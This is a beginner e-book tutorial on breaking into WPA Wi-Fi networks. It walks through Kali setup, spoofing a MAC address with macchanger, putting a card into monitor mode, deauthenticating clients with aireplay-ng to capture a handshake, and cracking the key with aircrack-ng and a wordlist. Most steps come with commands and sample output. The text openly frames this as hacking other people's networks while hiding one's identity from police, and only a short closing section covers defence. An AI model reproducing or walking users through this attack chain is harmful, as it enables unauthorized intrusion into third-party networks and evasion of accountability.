

WiFi Hacking for Beginners



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Setting up the lab

In this chapter, you will learn how to set up the lab for hacking. So, you may have operation system like Windows, Linux or Mac OS X but for hacking you need specified operation system like Kali or Backtrack. These operation systems are created for hacking and penetration testing. They have support almost all of hacking programs. Good news, these operation systems are free. In this book, we are going to install and use Kali. These both operation systems are Linux but there are few differences. When we install Kali, there will be preinstalled programs that can be used for hacking. Maybe you think there is a problem that you must install new operation system on your computer, but there are some programs that help you virtualize operation systems. There are two famous programs called “VirtualBox” and “VMware Workstation”. We are going to use VirtualBox because it is free and it has almost same functions. VirtualBox is a free and open-source program that lets you virtualize operation systems like Windows, Linux, Mac OS X and even your own operation systems. It supports almost all operation system. So, you don’t even need to install Kali on your computer you can simply install Kali in VirtualBox and then use it as common computer. First of all, download VirtualBox latest version and install it. Here is a link available:

<https://www.virtualbox.org/wiki/Downloads>

if you are using windows operation system you should download for windows hosts binary release, if you are using Linux download for Linux operation system and if you are using Mac OS X download for it. We also need something called “Virtualbox Extention Pack”(you can find and download it from virtualbox download link), which lets us input USBs, wireless adapters and many portable devices. First install VirtualBox and then double-click extention pack and click install, installation is very easy, so I am not going to explain it. Once you have installed it, we need a Kali operation system to install on VirtualBox. But why lose time when you can simply download already installed Kali? In the Kali website, there is link to download Kali virtual images, then you can just open these virtual images on VirtualBox and start Kali. There are for VMware Workstation and for

VirtualBox and you must download for VirtualBox no matter what operation system you have. Once you have finished downloading, go to the Downloads folder and search Kali virtual image, the extension must be “ova”, then double-click it and wait before process ends. If the image has successfully installed, look for settings button and click it. So first of all, go to the system and correctly enter ram usage for virtual machine (remember, your operation system needs at least two gb of ram), then you gonna go to the system>processor and enter usage of processor, also very important is to set up network connection, because without that you will not able to do something with Kali. To do this, go to the network and choose “Bridged Adapter” this means that program will use your built-in wireless adapter. Now you are ready to start virtual machine. Click “Start” and wait before username prompt appears. the default username is “root”, and default password is “toor”, but for security we going to change it later. The screen should look like this:



On the left side should be program called “terminal”, click on it and you will see that black screen appears with red prompt “root@kali#”. You may have question like “what does root means?”, well root is an access type, to understand easily this is access when you have full access over computer, you can do anything what your computer is able to do. In windows you may think that “Administrator” is a highest level access but that is not so. Highest level access is root. This is where we going to run our commands. From terminal, you can run programs easily and do whatever you want. Our system is may out of date, so run command “apt-get update” to update system and wait until prompt appears. The apt-get is a program that lets us to update system and install programs easily (we will use it often later), so with the command “apt-get update” we are calling the apt-get program and telling it to update system. Once you have updated system we need to change password because it is default, and anyone can access to it. To change password open again terminal and run command “passwd”, then it going to ask you old password, enter “toor” and click enter, and enter new password (does not matter what it will be) and remember it. So to power off virtual machine correctly click on the button to the up and right and then click on the power off sign. Now we already set up everything, and ready to learn how to hide your identify how to become untraceable.

Hide identify, become untraceable

In hacking very important thing it to be untraceable. To be able to hack something is nothing without hiding your identify. For example, imagine that you hacked someones wifi and did not hide identify, in few days police will analysis wifi router and there will be your computer information and finally they will find you and throw into prison. So very important part of entire hacking to hide identify and make hack untraceable. In this chapter you going to learn about how to be anonymous, hide identify and how to become fully untraceable.

What is mac address?

A MAC address (media access control address) is a unique identifier assigned to network interfaces for communications on the physical network segment. Every computer device have different MAC address. The MAC address is a built-in every computer device when it is created. When computer starts, operation system reads from hardware device. When you are connected to the wireless network, it sends packets to you and then your computer converts these information to websites, movies, images... Imagine that two computers are connected to the wireless network, first computer wants website google.com, and the second computer wants amazon.com, network sends packets to these computers, but how do these computers know what packets ignore and what packets to receive? Computers identify packets to receive or ignore by MAC address, when the network is sending packet to computer, it also writes in packet the MAC address of the computer it is sending. that is the way how wireless networks and computers are connecting each other. So, if you do not change your ip and hack someones wireless network, you let them to investigate your identify by analysing network history.

How to hide MAC address?

You may think that how you can change MAC address if computer reads it from hardware? You are not going to make modification on hardware, you going to change RAM. When the computer starts, MAC address loads in RAM and we going to change already loaded MAC address.. So, when you change your MAC address police will find your fake MAC

address and they will not be able to trace hacker. Now you have basic information about what is MAC address, dangers of hacking without changing MAC address, how police can trace you, how we can change it.

Change MAC address by Kali

Kali has already installed program called “macchanger” which lets us to chaneloaded MAC address in RAM. Open VirtualBox, start kali virtual machine and open terminal. We need to stop our wireless card to change the MAC address. Type in “ifconfig wlan0 down”. The ifconfig is a program, wlan0 is our wireless card and the down is action what we want to do. So, this command will stop every wireless service and it is necessary to stop network card before changing the MAC address. Then type in the following command “macchanger --help”. This command tells Kali to call macchanger and show help. There is program usage instructions. In my case, I will use random MAC address by entering “macchanger --random wlan0”. macchanger is program name --random is an option and wlan0 is wireless card. If everything is correct the screen should look like this:

```
root@kali:~# macchanger --random wlan0
Permanent MAC: 00:c0:ca:6c:ca:12 (Alfa, Inc.)
Current MAC: 00:c0:ca:6c:ca:12 (Alfa, Inc.)
New MAC: 98:a4:b0:59:ca:83 (unknown)
root@kali:~#
```

It shows you what was the permanent (built-in in network card) MAC address and its corporation in brackets, and down it shows that there is a new MAC address which does not have corporation. So, now we already changed the mac address and we need to hack into anyones network. But you are not ready for that now, because you do not know what is monitor mode and how to use it. In the next chapter you will learn what monitor mode is and how to use it with Kali.

Wireless modes

When you want to hack wifi, you need to capture “handshake”. The handshake is connection of personal computer and wireless network, it is when network packet and personal computer packets meet each other. With handshake you do not need to be in wifi range anymore, you can hack password with handshake and wifi name (you will learn this later). Now you need to capture all the packets that are sent through the wifi router and all personal computers in network. There is a question like “if the MAC address is used to ensure that each packet gets delivered to the right place then how we capture it?”, and the answer is that “Yes and no, it is used to send packets to the right destination, and we as hackers can only receive packets that are sent to our MAC address , but this only applies to the default mode of your wireless card, which is ‘managed’ mode, however there is mode that allows us to capture all the packets in our wi-fi range, not only the ones sent to our device, hence the name monitor mode.”. So, now you know basics and ready to actually catch handshake. First of all, change MAC address, enter monitor mode by typing in these commands on the photo:

```
root@kali:~# iwconfig wlan0
wlan0 IEEE 802.11bgn ESSID:off/any
        Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
        Retry short limit:7 RTS thr:off Fragment thr:off
        Encryption key:off
        Power Management:off

root@kali:~# ifconfig wlan0 down
root@kali:~# iwconfig wlan0 mode monitor
root@kali:~# ifconfig wlan0 up
root@kali:~# iwconfig wlan0
wlan0 IEEE 802.11bgn Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm
        Retry short limit:7 RTS thr:off Fragment thr:off
        Power Management:off

root@kali:~#
```

You can see that finally when I checked wlan0 mode it was monitor as you can see on the image. So you are ready to actually capture handshake, then it is very easy to hack wireless network by handshake and wordlist.

Catching handshake

Handshake packets are sent every time a client associates with the target AP. So to capture it we are going to capture every packets that are sent. In this chapter we are going to use program called “airodump-ng”. This program lets us to sniff and capture the packets that are sent over the network. This program is also preinstalled program. There are two step to catch handshake.

1.Start airodump-ng on the target AP (Access Point):

The syntax is something like this:

```
>airodump-ng --channel [channel] --bssid [bssid] --write [file-name]  
[interface]
```

Ex: >airodump-ng --channel 6 --bssid 11:22:33:44:55:66 --write out wlan0mon

2.Wait for a client to connect to the access point, or deauthenticate a connected client (if any) so that their system will connect back automatically.

The syntax is something like this:

```
>aireplay-ng --deauth [number of deauth packets] --a [AP] --c [target]  
[interfac]
```

Ex: >aireplay-ng --deauth 1000 --a 11:22:33:44:55:66 --c 00:AA:11:22:33 mon0

If the handshake catched, kali will inform you by top right corner of airodump-ng will say “WPA handshake”.

Follow these steps and when you will catch handshake your screen should like this:


```
CH 11 ][ Elapsed: 2 mins ][ 2014-08-26 11:20 ][ WPA handshake: 00:10:18:90:2D:EE
```

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
00:10:18:90:2D:EE	-56	100	1531	80 0	11	54e	WPA	CCMP	PSK	test-ap

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
00:10:18:90:2D:EE	C0:18:85:C1:CF:01	-8	1e- 1e	2443	650	

```
root@kali:~# aireplay-ng --death 4 -a 00:10:18:90:2D:EE -c C0:18:85:C1:CF:01 mon0
aireplay-ng: unrecognized option '--death'
"aireplay-ng --help" for help.
root@kali:~# aireplay-ng --deauth 4 -a 00:10:18:90:2D:EE -c C0:18:85:C1:CF:01 mon0
11:20:01 Waiting for beacon frame (BSSID: 00:10:18:90:2D:EE) on channel 11
11:20:02 Sending 64 directed DeAuth. STMAC: [C0:18:85:C1:CF:01] [52|66 ACKs]
11:20:03 Sending 64 directed DeAuth. STMAC: [C0:18:85:C1:CF:01] [17|68 ACKs]
11:20:03 Sending 64 directed DeAuth. STMAC: [C0:18:85:C1:CF:01] [ 0|63 ACKs]
11:20:04 Sending 64 directed DeAuth. STMAC: [C0:18:85:C1:CF:01] [59|69 ACKs]
root@kali:~#
```

When you catch handshake you are ready to actually crack password.

Cracking any wireless network

Now you have handshake and you need to download largest wordlist in the world to have change to hack password. You can download this wordlist from the following website:

<http://www.hackreports.com/2013/05/biggest-password-cracking-wordlist-with.html>

second link: <https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm>

when you download one of them you are ready to hack network. We are going to use aircrack-ng to crack the key. It does this by combining each password in the wordlist with access point name (ssid) to compute a Pairwise Master Key (PMK) using pbkdf2 algorithm, the PMK is the compared to the handshake file. The syntax looks like this:

```
>aircrack-ng [handshake filename] -w [wordlist] [interface]
```

```
Ex: >aircrack-ng is-01.cap -w list wlan0mon
```

Run this syntax and wait before aircrack-ng cracks it. When the password will be hacked the screen should look like this:

Aircrack-ng 1.2 beta3

[00:02:16] 117650 keys tested (880.19 k/s)

KEY FOUND! [UAURWSXR] I

Master Key : 60 88 3E 13 5E 83 B3 AA BA 04 F4 05 62 B5 33 2A
 4D 8A 02 BF 5E 3C 3B 89 E0 96 B7 F5 FE FF B9 97

Transient Key : 6F 4A 68 AE C8 D4 1F 2B 32 DB 87 68 06 D8 04 0B
 BA 5C 02 73 EE 27 50 62 6E 09 39 53 EA 16 67 F7
 3B 23 92 3B 02 35 CB 59 DB ED 9F 35 AC 80 A3 C7
 EE ED 86 01 60 C9 EC 63 D8 57 E3 B0 AB 90 FC 51

EAPOL HMAC : 7D EF D0 DF DC EC 2D 51 CD 73 43 8B 3A 60 47 F5

root@kali:~# █

Congratulations!!! You already hacked WPA secured wireless network!!! It is time to secure our wireless network because as you know it is very simple to hack, and if someone will do, he can then capture packets that are sent over the network and analyse them. There will be your mail password, your social network password, card pin and so on. It is very dangerous to do not have secure wireless network. Next chapter you will learn how to secure your network and become it almost unhackable.

Securing Your Network From The Above Attacks

Now that we know how to test the security of all known wireless encryptions (WEP/WPA/WPA2), it is relatively easy to secure our networks against these attacks as we know all the weaknesses that can be used by hackers to crack these encryptions.

So lets have a look on each of these encryptions one by one:

1. WEP: WEP is an old encryption, and its really weak, as we seen in the course there are a number of methods that can be used to crack this encryption regardless of the strength of the password and even if there is nobody connected to the network. These attacks are possible because of the way WEP works, we discussed the weakness of WEP and how it can be used to crack it, some of these methods even allow you to crack the key in a few minutes.

2. WPA/WPA2: WPA and WPA2 are very similar, the only difference between them is the algorithm used to encrypt the information but both encryptions work in the same way. WPA/WPA2 can be cracked in two ways

1. If WPS feature is enabled then there is a high chance of obtaining the key regardless of its complexity, this can be done by exploiting a weakness in the WPS feature. WPS is used to allow users to connect to their wireless network without entering the key, this is done by pressing a WPS button on both the router and the device that they want to connect, the authentication works using an eight digit pin, hackers can brute force this pin in relatively short time (in an average of 10 hours), once they get the right pin they can use a tool called reaver to reverse engineer the pin and get the key, this is all possible due to the fact that the WPS feature uses an easy pin (only 8 characters and only contains digits), so its not a weakness in WPA/WPA2, its a weakness in a feature that can be enabled on routers that use WPA/WPA2 which can be exploited to get the actual WPA/WPA2 key.

2. If WPS is not enabled, then the only way to crack WPA/WPA2 is using a dictionary attack, in this attack a list of passwords (dictionary) is compared against a file (handshake file) to check if any of the passwords is

the actual key for the network, so if the password does not exist in the wordlist then the attacker will not be able to find the password.

Conclusion:

1. Do not use WEP encryption, as we seen how easy it is to crack it regardless of the complexity of the password and even if there is nobody connected to the network.

2. Use WPA2 with a complex password, make sure the password contains small letters, capital letters, symbols and numbers and;

3. Ensure that the WPS feature is disabled as it can be used to crack your complex WPA2 key by brute-forcing the easy WPS pin.